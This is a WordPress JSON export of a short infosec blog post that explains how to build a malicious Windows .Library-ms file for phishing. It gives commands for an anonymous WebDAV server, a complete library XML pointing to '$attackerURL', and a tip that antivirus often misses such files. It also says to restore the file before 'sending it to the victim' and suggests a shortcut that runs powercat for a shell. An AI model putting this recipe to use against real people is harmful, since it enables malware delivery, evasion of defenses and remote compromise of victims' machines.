{"id":3986,"date":"2024-07-26T12:46:48","date_gmt":"2024-07-26T10:46:48","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=3986"},"modified":"2024-07-26T14:12:21","modified_gmt":"2024-07-26T12:12:21","slug":"windows-library-files","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=3986","title":{"rendered":"Windows Library Files"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Files with the exten\u00adsion .Library-ms are sim\u00adi\u00adlar to macOS\u2019s Vol\u00adumes. They can con\u00adtain files and direc\u00adto\u00adry which looks like local files on the Win\u00addows Explor\u00ader. Many <span class=\"caps\">AV<\/span>\/Malware sys\u00adtems does not detect them currently.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"60\" height=\"77\" src=\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2024\/07\/grafik.png\" alt class=\"wp-image-3988\"><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Create a Windows Library \u201cDirectory\u201d<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Prepa\u00adra\u00adtion: Install some\u00adwhere a <span class=\"caps\">DAV<\/span> share which is avail\u00adable from the vic\u00adtim\u2019s sys\u00adtem which points to a direc\u00adtor which includes the mal\u00adi\u00adcous files. This can be done via the Apache2 mod\u00adule, or for test\u00ading pur\u00adpos\u00ades with Python:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><code>$ pip3 install wsgidav<\/code><\/li>\n\n\n\n<li><code>$ \/home\/naturtrunken\/.local\/bin\/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root \/home\/naturtrunken\/webdav<\/code><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Cre\u00adate a <span class=\"caps\">XML<\/span> file with the fol\u00adlow\u00ading content:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"xml\" data-enlighter-theme data-enlighter-highlight data-enlighter-linenumbers data-enlighter-lineoffset data-enlighter-title data-enlighter-group>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;libraryDescription xmlns=\"http:\/\/schemas.microsoft.com\/windows\/2009\/library\"&gt;\n&lt;name&gt;@windows.storage.dll,-34582&lt;\/name&gt;\n&lt;version&gt;6&lt;\/version&gt;\n&lt;isLibraryPinned&gt;true&lt;\/isLibraryPinned&gt;\n&lt;iconReference&gt;imageres.dll,-1003&lt;\/iconReference&gt;\n&lt;templateInfo&gt;\n&lt;folderType&gt;{7d49d726-3c21-4f05-99aa-fdc2c9474656}&lt;\/folderType&gt;\n&lt;\/templateInfo&gt;\n&lt;searchConnectorDescriptionList&gt;\n&lt;searchConnectorDescription&gt;\n&lt;isDefaultSaveLocation&gt;true&lt;\/isDefaultSaveLocation&gt;\n&lt;isSupported&gt;false&lt;\/isSupported&gt;\n&lt;simpleLocation&gt;\n&lt;url&gt;$attackerURL&lt;\/url&gt;\n&lt;\/simpleLocation&gt;\n&lt;\/searchConnectorDescription&gt;\n&lt;\/searchConnectorDescriptionList&gt;\n&lt;\/libraryDescription&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Notes for the <span class=\"caps\">XML<\/span>&nbsp;file:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>name<\/strong> has to be a library, see <a href=\"https:\/\/learn.microsoft.com\/de-de\/windows\/win32\/shell\/library-schema-entry\">https:\/\/learn.microsoft.com\/de-de\/windows\/win32\/shell\/library-schema-entry<\/a><\/li>\n\n\n\n<li><strong>ver\u00adsion<\/strong> can be any integer<\/li>\n\n\n\n<li><strong>isLi\u00adbraryP\u00adinned<\/strong> means, that this library is pinned to Win\u00addows Explor\u00ader\u2019s nav\u00adi\u00adga\u00adtion&nbsp;pane<\/li>\n\n\n\n<li><strong>icon\u00adRef\u00ader\u00adence<\/strong> defines the icon. (See e.g. <a href=\"https:\/\/github.com\/cyqsimon\/W10-Ico-Ref\">https:\/\/github.com\/cyqsimon\/W10-Ico-Ref<\/a>)<\/li>\n\n\n\n<li><strong>tem\u00adplate\u00adIn\u00adfo<\/strong> defines which columns are shown by the Win\u00addows explor\u00ader. See <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/shell\/schema-library-foldertype\">https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/shell\/schema-library-foldertype<\/a> for oth\u00ader col\u00adumn&nbsp;sets.<\/li>\n\n\n\n<li><strong>$attackerURL<\/strong> is the <span class=\"caps\">URL<\/span> of a serv\u00ader where the attack\u00ader pro\u00advides a <span class=\"caps\">DAV<\/span> share with the files he\/she want to deliv\u00ader to the victim.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Cau\u00adtion<\/strong>: After open\u00ading the \u201cdirec\u00adto\u00adry\u201d the first time, Win\u00addows adds some val\u00adues in the <span class=\"caps\">XML<\/span> file which from now on only are valid on this com\u00adput\u00ader. There\u00adfore, take care to restore the con\u00adtent before send\u00ading it to the victim!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, the vic\u00adtim can exe\u00adcute a file there. You could also cre\u00adate a short\u00adcut which exe\u00adcutes powercat.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Files with the exten\u00adsion .Library-ms are sim\u00adi\u00adlar to macOS\u2019s Vol\u00adumes. They can con\u00adtain files and direc\u00adto\u00adry which looks like local files on the Win\u00addows Explor\u00ader. Many <span class=\"caps\">AV<\/span>\/Malware sys\u00adtems does not detect them cur\u00adrent\u00adly. Cre\u00adate a Win\u00addows Library \u201cDirec\u00adto\u00adry\u201d Prepa\u00adra\u00adtion: Install some\u00adwhere a <span class=\"caps\">DAV<\/span> share which is avail\u00adable from the vic\u00adtim\u2019s sys\u00adtem which points to&nbsp;a&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470],"tags":[491,24,490],"class_list":["post-3986","post","type-post","status-publish","format-standard","hentry","category-active-enum","tag-phishing","tag-windows","tag-windows-library-file"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3986","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3986"}],"version-history":[{"count":6,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3986\/revisions"}],"predecessor-version":[{"id":3997,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3986\/revisions\/3997"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3986"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3986"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3986"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}